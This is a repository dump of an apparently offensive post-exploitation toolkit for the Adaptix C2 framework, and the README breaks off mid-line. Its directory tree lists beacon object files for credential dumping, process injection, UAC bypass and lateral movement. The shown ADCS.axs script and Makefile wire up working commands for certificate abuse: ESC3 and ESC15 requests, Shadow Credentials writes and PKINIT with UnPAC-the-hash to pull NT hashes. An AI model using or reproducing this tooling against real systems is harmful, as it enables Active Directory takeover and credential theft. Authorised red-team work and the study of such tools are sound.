Repository: Adaptix-Framework/Extension-Kit Branch: main Commit: 9413caf85fd8 Files: 444 Total size: 9.6 MB Directory structure: gitextract_l_k0_oet/ ├── .gitignore ├── AD-BOF/ │ ├── ADCS-BOF/ │ │ ├── ADCS.axs │ │ ├── Makefile │ │ ├── README.md │ │ └── src/ │ │ ├── auth/ │ │ │ └── certi_auth.c │ │ ├── enum/ │ │ │ ├── adcs_enum_com2.c │ │ │ ├── adcs_enum_com2.h │ │ │ ├── base.c │ │ │ ├── certenroll.h │ │ │ └── entry.c │ │ ├── request/ │ │ │ ├── CertCli.h │ │ │ ├── CertPol.h │ │ │ ├── adcs_request.c │ │ │ ├── adcs_request.h │ │ │ ├── base.c │ │ │ ├── certca.h │ │ │ ├── certenroll.h │ │ │ └── entry.c │ │ ├── request_on_behalf/ │ │ │ ├── CertCli.h │ │ │ ├── CertPol.h │ │ │ ├── base.c │ │ │ ├── certenroll.h │ │ │ └── entry.c │ │ └── shadow/ │ │ └── certi_shadow.c │ ├── CMakeLists.txt │ ├── DCSync-BOF/ │ │ ├── LICENSE │ │ ├── Makefile │ │ ├── README.md │ │ ├── _include/ │ │ │ ├── beacon.h │ │ │ ├── dcsync.h │ │ │ └── ldap_common.h │ │ ├── drsuapi/ │ │ │ ├── ms-drsr-custom.c │ │ │ └── ms-drsr.h │ │ ├── src/ │ │ │ ├── dcsync-all.c │ │ │ └── dcsync-single.c │ │ └── util/ │ │ ├── ldap_common.c │ │ ├── ldap_syncall.c │ │ └── rpc-adapter.c │ ├── Kerbeus-BOF/ │ │ ├── CMakeLists.txt │ │ ├── Makefile │ │ ├── README.md │ │ ├── _include/ │ │ │ ├── asn_convert.c │ │ │ ├── asn_decode.c │ │ │ ├── asn_encode.c │ │ │ ├── beacon.h │ │ │ ├── connection.c │ │ │ ├── crypt_b64.c │ │ │ ├── crypt_checksum.c │ │ │ ├── crypt_dec.c │ │ │ ├── crypt_enc.c │ │ │ ├── crypt_key.c │ │ │ ├── functions.c │ │ │ └── kerb_struct.h │ │ ├── asktgs/ │ │ │ └── asktgs.c │ │ ├── asktgt/ │ │ │ └── asktgt.c │ │ ├── asreproasting/ │ │ │ └── asreproasting.c │ │ ├── changepw/ │ │ │ └── changepw.c │ │ ├── describe/ │ │ │ └── describe.c │ │ ├── hash/ │ │ │ └── hash.c │ │ ├── kerberoasting/ │ │ │ └── kerberoasting.c │ │ ├── kerbeus.axs │ │ ├── klist/ │ │ │ └── klist.c │ │ ├── ptt/ │ │ │ └── ptt.c │ │ ├── purge/ │ │ │ └── purge.c │ │ ├── renew/ │ │ │ └── renew.c │ │ ├── s4u/ │ │ │ ├── cross_s4u.c │ │ │ └── s4u.c │ │ └── tgtdeleg/ │ │ └── tgtdeleg.c │ ├── LDAP-BOF/ │ │ ├── CMakeLists.txt │ │ ├── LDAP.axs │ │ ├── LICENSE │ │ ├── Makefile │ │ ├── README.md │ │ ├── _include/ │ │ │ ├── acl_common.h │ │ │ ├── beacon.h │ │ │ └── ldap_common.h │ │ └── src/ │ │ ├── add/ │ │ │ ├── add-ace.c │ │ │ ├── add-attribute.c │ │ │ ├── add-computer.c │ │ │ ├── add-delegation.c │ │ │ ├── add-group.c │ │ │ ├── add-groupmember.c │ │ │ ├── add-ou.c │ │ │ ├── add-rbcd.c │ │ │ ├── add-sidhistory.c │ │ │ ├── add-spn.c │ │ │ ├── add-uac.c │ │ │ └── add-user.c │ │ ├── common/ │ │ │ ├── acl_common.c │ │ │ └── ldap_common.c │ │ ├── get/ │ │ │ ├── get-acl.c │ │ │ ├── get-attribute.c │ │ │ ├── get-computers.c │ │ │ ├── get-delegation.c │ │ │ ├── get-domaininfo.c │ │ │ ├── get-groupmembers.c │ │ │ ├── get-groups.c │ │ │ ├── get-maq.c │ │ │ ├── get-object.c │ │ │ ├── get-rbcd.c │ │ │ ├── get-spn.c │ │ │ ├── get-uac.c │ │ │ ├── get-usergroups.c │ │ │ ├── get-users.c │ │ │ └── get-writable.c │ │ ├── move/ │ │ │ └── move-object.c │ │ ├── remove/ │ │ │ ├── remove-ace.c │ │ │ ├── remove-attribute.c │ │ │ ├── remove-delegation.c │ │ │ ├── remove-groupmember.c │ │ │ ├── remove-object.c │ │ │ ├── remove-rbcd.c │ │ │ ├── remove-spn.c │ │ │ └── remove-uac.c │ │ └── set/ │ │ ├── set-attribute.c │ │ ├── set-delegation.c │ │ ├── set-owner.c │ │ ├── set-password.c │ │ ├── set-spn.c │ │ └── set-uac.c │ ├── Makefile │ ├── README.md │ ├── RelayInformer/ │ │ ├── Makefile │ │ ├── README.md │ │ ├── RelayInformer.axs │ │ ├── common/ │ │ │ ├── base.c │ │ │ ├── beacon.h │ │ │ ├── bofdefs.h │ │ │ ├── hwbp.c │ │ │ └── sql.c │ │ ├── relay-informer-http/ │ │ │ └── entry.c │ │ ├── relay-informer-ldap/ │ │ │ └── entry.c │ │ ├── relay-informer-mssql/ │ │ │ └── entry.c │ │ └── relay-informer-smb/ │ │ └── entry.c │ ├── SQL-BOF/ │ │ ├── CMakeLists.txt │ │ ├── LICENSE │ │ ├── Makefile │ │ ├── README.md │ │ ├── SQL.axs │ │ └── src/ │ │ ├── SQL/ │ │ │ ├── 1434udp/ │ │ │ │ └── entry.c │ │ │ ├── adsi/ │ │ │ │ ├── entry.c │ │ │ │ └── ldapserver.h │ │ │ ├── agentcmd/ │ │ │ │ └── entry.c │ │ │ ├── agentstatus/ │ │ │ │ └── entry.c │ │ │ ├── checkrpc/ │ │ │ │ └── entry.c │ │ │ ├── clr/ │ │ │ │ └── entry.c │ │ │ ├── columns/ │ │ │ │ └── entry.c │ │ │ ├── databases/ │ │ │ │ └── entry.c │ │ │ ├── impersonate/ │ │ │ │ └── entry.c │ │ │ ├── info/ │ │ │ │ └── entry.c │ │ │ ├── links/ │ │ │ │ └── entry.c │ │ │ ├── olecmd/ │ │ │ │ └── entry.c │ │ │ ├── query/ │ │ │ │ └── entry.c │ │ │ ├── rows/ │ │ │ │ └── entry.c │ │ │ ├── search/ │ │ │ │ └── entry.c │ │ │ ├── smb/ │ │ │ │ └── entry.c │ │ │ ├── tables/ │ │ │ │ └── entry.c │ │ │ ├── togglemodule/ │ │ │ │ └── entry.c │ │ │ ├── users/ │ │ │ │ └── entry.c │ │ │ ├── whoami/ │ │ │ │ └── entry.c │ │ │ └── xpcmd/ │ │ │ └── entry.c │ │ └── common/ │ │ ├── base.c │ │ ├── beacon.h │ │ ├── bofdefs.h │ │ ├── sql.c │ │ ├── sql_agent.c │ │ ├── sql_clr.c │ │ └── sql_modules.c │ ├── WebDAVClient/ │ │ ├── EnableWebDAVClient.c │ │ ├── LICENSE │ │ ├── StatusWebDAVClient.c │ │ └── beacon.h │ ├── ad-services.axs │ ├── ad.axs │ ├── adwssearch/ │ │ ├── adws_parser.h │ │ ├── adws_search.c │ │ ├── nbfse.h │ │ ├── nmf.h │ │ └── nns.h │ ├── badtakeover/ │ │ └── BadTakeover.c │ ├── ldapsearch/ │ │ ├── base.c │ │ └── ldapsearch.c │ └── readlaps/ │ ├── base.c │ └── readlaps.c ├── CMakeLists.txt ├── Creds-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── README.md │ ├── UnderlayCopy/ │ │ ├── README.md │ │ ├── entry.c │ │ └── underlaycopy.h │ ├── askcreds/ │ │ ├── askcreds.c │ │ └── askcreds.h │ ├── cookie-monster/ │ │ ├── LICENSE │ │ ├── Makefile │ │ ├── README.md │ │ ├── adaptix.h │ │ ├── beacon.h │ │ ├── cookie-monster-bof.c │ │ ├── cookie-monster-bof.h │ │ ├── cookie-monster.axs │ │ ├── decrypt.py │ │ └── requirements.txt │ ├── creds.axs │ ├── get-netntlm/ │ │ └── get-netntlm.c │ ├── hashdump/ │ │ ├── hashdump.c │ │ └── hive_parser.c │ ├── lsadump/ │ │ ├── cache.c │ │ ├── include/ │ │ │ ├── cache.h │ │ │ ├── lsadump.h │ │ │ ├── sam.h │ │ │ └── secrets.h │ │ ├── lsadump_helper.c │ │ ├── sam.c │ │ └── secrets.c │ └── nanodump/ │ ├── LICENSE │ ├── Makefile │ ├── README.md │ ├── include/ │ │ ├── adaptix.h │ │ ├── beacon.h │ │ ├── delete_file.h │ │ ├── dinvoke.h │ │ ├── entry.h │ │ ├── handle.h │ │ ├── hw_breakpoint.h │ │ ├── impersonate.h │ │ ├── malseclogon.h │ │ ├── modules.h │ │ ├── nanodump.h │ │ ├── nanodump_ppl_dump_dll.x64.h │ │ ├── nanodump_ppl_dump_dll.x86.h │ │ ├── nanodump_ppl_medic_dll.x64.h │ │ ├── nanodump_ssp_dll.x64.h │ │ ├── nanodump_ssp_dll.x86.h │ │ ├── ntdefs.h │ │ ├── output.h │ │ ├── pipe.h │ │ ├── ppl/ │ │ │ ├── cleanup.h │ │ │ ├── ppl.h │ │ │ ├── ppl_dump.h │ │ │ ├── ppl_medic.h │ │ │ ├── ppl_medic_client.h │ │ │ ├── ppl_medic_dll.h │ │ │ └── ppl_utils.h │ │ ├── shtinkering.h │ │ ├── spoof_callstack.h │ │ ├── ssp/ │ │ │ ├── ssp.h │ │ │ └── ssp_utils.h │ │ ├── ssp.h │ │ ├── syscalls.h │ │ ├── token_priv.h │ │ ├── utils.h │ │ └── werfault.h │ ├── nanodump.axs │ ├── scripts/ │ │ ├── randomize_sw2_seed.py │ │ └── restore_signature │ └── source/ │ ├── bin2c.c │ ├── delete_file.c │ ├── dinvoke.c │ ├── entry.c │ ├── handle.c │ ├── hw_breakpoint-asm.asm │ ├── hw_breakpoint.c │ ├── impersonate.c │ ├── malseclogon.c │ ├── modules.c │ ├── nanodump.c │ ├── output.c │ ├── pipe.c │ ├── ppl/ │ │ ├── cleanup.c │ │ ├── ppl.c │ │ ├── ppl_dump.c │ │ ├── ppl_medic.c │ │ ├── ppl_medic_client.c │ │ ├── ppl_medic_dll.c │ │ └── ppl_utils.c │ ├── restore_signature.c │ ├── shtinkering.c │ ├── spoof_callstack-asm.asm │ ├── spoof_callstack.c │ ├── ssp/ │ │ ├── ssp.c │ │ └── ssp_utils.c │ ├── syscalls-asm.asm │ ├── syscalls.c │ ├── token_priv.c │ ├── utils.c │ └── werfault.c ├── Dockerfile ├── Elevation-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── README.md │ ├── elevate.axs │ ├── getsystem_token/ │ │ └── getsystem_token.c │ ├── potato-dcom/ │ │ ├── DCOMPotato.cpp │ │ └── bofdefs.h │ ├── printspoofer/ │ │ └── printspoofer.c │ ├── uac_regshellcmd/ │ │ └── RegistryShellCommandBOF.c │ └── uac_sspi/ │ └── SspiUacBypassBOF.cpp ├── Execution-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── No-Consolation/ │ │ ├── LICENSE │ │ ├── Makefile │ │ ├── README.md │ │ ├── include/ │ │ │ ├── apisetlookup.h │ │ │ ├── beacon.h │ │ │ ├── bofdefs.h │ │ │ ├── console.h │ │ │ ├── entry.h │ │ │ ├── hwbp.h │ │ │ ├── loader.h │ │ │ ├── output.h │ │ │ ├── peb.h │ │ │ ├── runner.h │ │ │ └── utils.h │ │ ├── no_consolation.axs │ │ └── source/ │ │ ├── apisetlookup.c │ │ ├── console.c │ │ ├── entry.c │ │ ├── hwbp.c │ │ ├── loader.c │ │ ├── peb.c │ │ ├── runner.c │ │ └── utils.c │ ├── README.md │ ├── execute-assembly/ │ │ ├── inlineExecute-Assembly.c │ │ └── inlineExecute-Assembly.h │ └── execution.axs ├── Injection-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── README.md │ ├── inject.axs │ ├── inject_32to64/ │ │ └── inject_32to64.c │ ├── inject_cfg/ │ │ └── inject_cfg.c │ ├── inject_poolparty/ │ │ ├── 1.h │ │ ├── 2.h │ │ ├── 3.h │ │ ├── 4.h │ │ ├── 5.h │ │ ├── 6.h │ │ ├── 7.h │ │ ├── 8.h │ │ ├── PoolParty.h │ │ └── inject_poolparty.c │ └── inject_sec/ │ ├── inject_sec.c │ └── libc.h ├── LICENSE ├── LateralMovement-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── README.md │ ├── lateral.axs │ ├── psexec/ │ │ └── psexec.c │ ├── runas/ │ │ └── runas.c │ ├── runas_sess_IHxExec/ │ │ ├── bofdefs.h │ │ └── ihxexec.c │ ├── scshell/ │ │ └── scshell.c │ ├── token_make/ │ │ └── token_make.c │ ├── token_steal/ │ │ └── token_steal.c │ └── winrm-client/ │ └── winrm.cpp ├── Makefile ├── Postex-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── README.md │ ├── SauronEyeBOF/ │ │ ├── entry.c │ │ └── sauroneye.h │ ├── ScreenshotBOF/ │ │ └── entry.c │ ├── firewallrule/ │ │ ├── addfirewallrule.c │ │ └── firewallrule.h │ └── postex.axs ├── Process-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── README.md │ ├── findobjects/ │ │ ├── FindModule.c │ │ ├── FindObjects.h │ │ ├── FindProcHandle.c │ │ ├── Syscalls-WoW64.h │ │ └── Syscalls.h │ ├── process/ │ │ ├── Syscalls-WoW64.h │ │ ├── Syscalls.h │ │ ├── base.c │ │ └── psc.c │ ├── process.axs │ └── procfreeze/ │ └── procfreeze.c ├── README.md ├── SAL-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── README.md │ ├── arp/ │ │ ├── arp.c │ │ └── base.c │ ├── cacls/ │ │ ├── base.c │ │ ├── cacls.c │ │ └── defines.h │ ├── dir/ │ │ ├── base.c │ │ ├── dir.c │ │ └── queue.c │ ├── env/ │ │ ├── base.c │ │ └── env.c │ ├── ipconfig/ │ │ ├── base.c │ │ └── ipconfig.c │ ├── listdns/ │ │ ├── base.c │ │ └── listdns.c │ ├── netstat/ │ │ ├── base.c │ │ └── netstat.c │ ├── nslookup/ │ │ ├── base.c │ │ └── nslookup.c │ ├── privcheck/ │ │ ├── alwaysinstallelevated.c │ │ ├── autologon.c │ │ ├── credentialmanager.c │ │ ├── download_vulnerable_driver_list.py │ │ ├── hijackablepath.c │ │ ├── modifiableautorun.c │ │ ├── modifiablesvc.c │ │ ├── privcheck_all.c │ │ ├── pshistory.c │ │ ├── tokenprivileges.c │ │ ├── uacstatus.c │ │ ├── unattendfiles.c │ │ ├── unquotedsvcpath.c │ │ ├── vulndrivers.h │ │ └── vulnerabledrivers.c │ ├── routeprint/ │ │ ├── base.c │ │ └── routeprint.c │ ├── sal.axs │ ├── uptime/ │ │ ├── base.c │ │ └── uptime.c │ ├── useridletime/ │ │ ├── base.c │ │ └── useridletime.c │ └── whoami/ │ ├── base.c │ └── whoami.c ├── SAR-BOF/ │ ├── CMakeLists.txt │ ├── Makefile │ ├── README.md │ ├── nbtscan/ │ │ ├── nbtscan.c │ │ └── nbtscan.h │ ├── quser/ │ │ ├── base.c │ │ └── quser.c │ ├── sar.axs │ ├── smartscan/ │ │ └── portscan_simple.c │ └── taskhound/ │ └── taskhound.c ├── _include/ │ ├── adaptix.h │ ├── beacon.h │ └── bofdefs.h ├── add_agent.sh ├── docker-compose.yml └── extension-kit.axs ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ _bin .vscode .cache/jb SAL-BOF/vulndrivers.h Creds-BOF/nanodump/dist/ # macOS .DS_Store **/.DS_Store ================================================ FILE: AD-BOF/ADCS-BOF/ADCS.axs ================================================ var metadata = { name: "ADCS-BOF", description: "Active Directory Certificate Services Exploitation BOFs" }; let _cmd_certi_auth = ax.create_command("auth", "Authenticate with certificate (PKINIT + UnPAC-the-hash)", "certi auth --cert MIIMcAIBAzCCDCwG...."); _cmd_certi_auth.addArgFlagString("--cert", "cert", "Base64 encoded PFX certificate", ""); _cmd_certi_auth.addArgFlagFile("--pfx", "pfx", false, "PFX certificate file"); _cmd_certi_auth.addArgFlagString("--password", "password", "PFX password", ""); _cmd_certi_auth.addArgFlagString("--dc", "dc", "Domain Controller address (auto-detected if not specified)", ""); _cmd_certi_auth.addArgBool("--no-unpac", "Only get TGT, don't extract NT hash"); _cmd_certi_auth.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { let cert = parsed_json["cert"]; let pfx = parsed_json["pfx"]; let password = parsed_json["password"]; let dc = parsed_json["dc"]; let no_unpac = parsed_json["--no-unpac"] ? 1 : 0; if (!cert && !pfx) { throw new Error("Either --cert or --pfx must be specified"); } let bof_params = ax.bof_pack("cstr,cstr,cstr,bytes,short", [cert || "", password, dc, pfx || "", no_unpac]); let bof_path = ax.script_dir() + "_bin/ADCS/certi_auth." + ax.arch(id) + ".o"; let message = "Task: Authenticate with certificate (PKINIT)"; ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, message); }); var _cmd_certi_enum = ax.create_command("enum", "Enumerate CAs and templates in the AD", "certi enum"); _cmd_certi_enum.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { let bof_path = ax.script_dir() + "_bin/ADCS/certi_enum." + ax.arch(id) + ".o"; let message = "Task: Enumerate CAs and templates"; ax.execute_alias( id, cmdline, `execute bof "${bof_path}"`, message ); }); var _cmd_certi_req = ax.create_command("request", "Request an enrollment certificate", "certi req --ca cert.example.org\\example-CERT-CA --template vulnTemplate --subject CN=Administrator,CN=Users,DC=example,DC=org --altname CN=second_adm,CN=Users,DC=example,DC=org --alturl tag:microsoft.com,2022-09-14:sid:S-1-5-21-3006160104-3291460162-27467737-1123"); _cmd_certi_req.addArgFlagString( "--ca", "CA", true, "The certificate authority to use"); _cmd_certi_req.addArgFlagString("--template", "template", "The certificate type to request (else default for User/Machine)", ""); _cmd_certi_req.addArgFlagString("--subject", "subject", "The subject's distinguished name (else default for user/machine)", ""); _cmd_certi_req.addArgFlagString("--altname", "altname", "The alternate subject's distinguished name", ""); _cmd_certi_req.addArgFlagString("--alturl", "alturl", "SAN URL entry, can be used to specify the alternate subject's SID", ""); _cmd_certi_req.addArgFlagString("--pfx-password", "password", "PFX certificate password", ""); _cmd_certi_req.addArgBool("--install", "Install the certificate in current context?"); _cmd_certi_req.addArgBool("--machine", "Request a certificate for a machine instead of a user?"); _cmd_certi_req.addArgBool("--policy", "Adds App policy to allow client auth and Acting as a certificate agent (for ESC15)"); _cmd_certi_req.addArgBool("--dns", "Subject Altname given as a DNS name (else: Subject alt name given as UPN)"); _cmd_certi_req.addArgBool("--pem", "Output in PEM format instead of PFX"); _cmd_certi_req.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { let ca = ""; let template = parsed_json["template"]; let subject = parsed_json["subject"]; let altname = parsed_json["altname"]; let alturl = parsed_json["alturl"]; let password = parsed_json["password"]; let install = 0; let machine = 0; let policy = 0; let dns = 0; let pem = 0; if("CA" in parsed_json) { ca = parsed_json["CA"]; } else { throw new Error("Need to provide the Certificate Authority at a minimum"); } if(parsed_json["--install"]) { install = 1; } if(parsed_json["--machine"]) { machine = 1; } if(parsed_json["--policy"]) { policy = 1; } if(parsed_json["--dns"]) { dns = 1; } if(parsed_json["--pem"]) { pem = 1; } let bof_params = ax.bof_pack("wstr,wstr,wstr,wstr,wstr,wstr,short,short,short,short,short", [ca, template, subject, altname, alturl, password, install, machine, policy, dns, pem ]); let bof_path = ax.script_dir() + "_bin/ADCS/certi_req." + ax.arch(id) + ".o"; let message = "Task: Request certificate"; ax.execute_alias( id, cmdline, `execute bof "${bof_path}" ${bof_params}`, message ); }); let _cmd_certi_req_onbehalf = ax.create_command("request_on_behalf", "Request certificate on behalf of another user (ESC3)", "certi request_on_behalf cert.example.org\\example-CERT-CA vulnTemplate Administrator /tmp/ea.pfx"); _cmd_certi_req_onbehalf.addArgFlagString( "--ca", "ca", true, "The certificate authority to use"); _cmd_certi_req_onbehalf.addArgFlagString("--template", "template", true, "Certificate template name"); _cmd_certi_req_onbehalf.addArgFlagString("--target", "target", true, "Target user (DOMAIN\\username)"); _cmd_certi_req_onbehalf.addArgFlagFile("--ea-pfx", "ea-pfx", true, "Enrollment Agent certificate (PFX file)"); _cmd_certi_req_onbehalf.addArgFlagString("--ea-password", "ea_password", "Enrollment Agent PFX password", ""); _cmd_certi_req_onbehalf.addArgFlagString("--pfx-password", "pfx_password", "Output PFX password", ""); _cmd_certi_req_onbehalf.addArgBool("--pem", "Output in PEM format instead of PFX"); _cmd_certi_req_onbehalf.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { let ca = parsed_json["ca"]; let template = parsed_json["template"]; let target = parsed_json["target"]; let ea_cert = parsed_json["ea-pfx"]; let ea_password = parsed_json["ea_password"]; let pfx_password = parsed_json["pfx_password"]; let pem = 0; if(parsed_json["--pem"]) { pem = 1; } let bof_params = ax.bof_pack("wstr,wstr,wstr,wstr,wstr,bytes,short", [ca, template, target, ea_password, pfx_password, ea_cert, pem]); let bof_path = ax.script_dir() + "_bin/ADCS/certi_req_onbehalf." + ax.arch(id) + ".o"; let message = "Task: Request certificate on behalf of " + target; ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, message); }); let _cmd_certi_shadow = ax.create_command("shadow", "Shadow Credentials attack - write KeyCredentialLink and get certificate", "certi shadow --target Administrator"); _cmd_certi_shadow.addArgFlagString("--target", "target", true, "Target user (sAMAccountName)"); _cmd_certi_shadow.addArgFlagString("--domain", "domain", "Domain name (auto-detected if not specified)", ""); _cmd_certi_shadow.addArgBool("--no-write", "Don't write to AD, just generate certificate"); _cmd_certi_shadow.addArgBool("--clear", "Clear msDS-KeyCredentialLink (don't write new, only clear)"); _cmd_certi_shadow.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { let target = parsed_json["target"]; let domain = parsed_json["domain"]; let no_write = parsed_json["--no-write"] ? 1 : 0; let clear = parsed_json["--clear"] ? 1 : 0; let bof_params = ax.bof_pack("cstr,cstr,short,short", [target, domain, no_write, clear]); let bof_path = ax.script_dir() + "_bin/ADCS/certi_shadow." + ax.arch(id) + ".o"; let message = clear ? "Task: Clear Shadow Credentials from " + target + "@" + domain : "Task: Shadow Credentials attack on " + target + "@" + domain; ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, message); }); var cmd_certi = ax.create_command("certi", "ADCS BOF"); cmd_certi.addSubCommands([ _cmd_certi_auth, _cmd_certi_enum, _cmd_certi_req, _cmd_certi_req_onbehalf, _cmd_certi_shadow ]); var group_adcs = ax.create_commands_group("ADCS-BOF", [cmd_certi]); ax.register_commands_group(group_adcs, ["beacon", "gopher", "kharon"], ["windows"], []); ================================================ FILE: AD-BOF/ADCS-BOF/Makefile ================================================ CC64 = x86_64-w64-mingw32-gcc STRIP64 = x86_64-w64-mingw32-strip --strip-unneeded CFLAGS = -I ../../_include -w -Wno-incompatible-pointer-types -Os -s -DBOF -c all: bof bof: @(mkdir -p _bin/ADCS 2>/dev/null) && echo 'creating _bin/ADCS' || echo '_bin/ADCS exists' @($(CC64) $(CFLAGS) src/enum/entry.c -o _bin/ADCS/certi_enum.x64.o && $(STRIP64) _bin/ADCS/certi_enum.x64.o) && echo '[+] enum' || echo '[!] enum' @($(CC64) $(CFLAGS) src/request/entry.c -o _bin/ADCS/certi_req.x64.o && $(STRIP64) _bin/ADCS/certi_req.x64.o) && echo '[+] certi_req' || echo '[!] certi_req' @($(CC64) $(CFLAGS) src/request_on_behalf/entry.c -o _bin/ADCS/certi_req_onbehalf.x64.o && $(STRIP64) _bin/ADCS/certi_req_onbehalf.x64.o) && echo '[+] certi_req_onbehalf' || echo '[!] certi_req_onbehalf' @($(CC64) $(CFLAGS) src/auth/certi_auth.c -o _bin/ADCS/certi_auth.x64.o && $(STRIP64) _bin/ADCS/certi_auth.x64.o) && echo '[+] certi_auth' || echo '[!] certi_auth' @($(CC64) $(CFLAGS) src/shadow/certi_shadow.c -o _bin/ADCS/certi_shadow.x64.o && $(STRIP64) _bin/ADCS/certi_shadow.x64.o) && echo '[+] certi_shadow' || echo '[!] certi_shadow' clean: @(rm -rf _bin) ================================================ FILE: AD-BOF/ADCS-BOF/README.md ================================================ # ADCS-BOF A library of beacon object files to interact with ADCS servers and certificates. ## certi auth Authenticate with certificate (PKINIT + UnPAC-the-hash) ``` certi auth <{--cert base64_cert} || {--pfx file.pfx}> [--password pfx_password] [--dc DC] [--no-unpac] ``` * `--cert` - Base64 encoded PFX certificate * `--pfx` - PFX certificate file * `--password` - PFX password * `--dc` - Domain Controller address (auto-detected if not specified) * `--no-unpac` - Only get TGT, don't extract NT hash ## certi enum Enumerate CAs and templates in the AD ``` certi enum ``` ## certi request Request an enrollment certificate ``` certi req <--ca CA> [--template Template] [--subject CN] [--altname CN] [--alturl tag:microsoft.com,2022-09-14:sid:] [--install] [--machine] [--policy] [--dns] [--pfx-password password] [--pem] ``` * `--ca` - The certificate authority to use * `--template` - The certificate type to request (else default for User/Machine) * `--subject` - The subject's distinguished name (else default for user/machine) * `--altname` - The alternate subject's distinguished name * `--alturl` - SAN URL entry, can be used to specify the alternate subject's SID * `--install` - Install the certificate in current context? * `--pfx-password` - Output PFX password * `--machine` - Request a certificate for a machine instead of a user? * `--policy` - Adds App policy to allow client auth and Acting as a certificate agent (for ESC15) * `--dns` - Subject Altname given as a DNS name (else: Subject alt name given as UPN). * `--pem` - Output in PEM format instead of PFX ## certi request_on_behalf Request certificate on behalf of another user (ESC3) ``` certi request_on_behalf --ca --template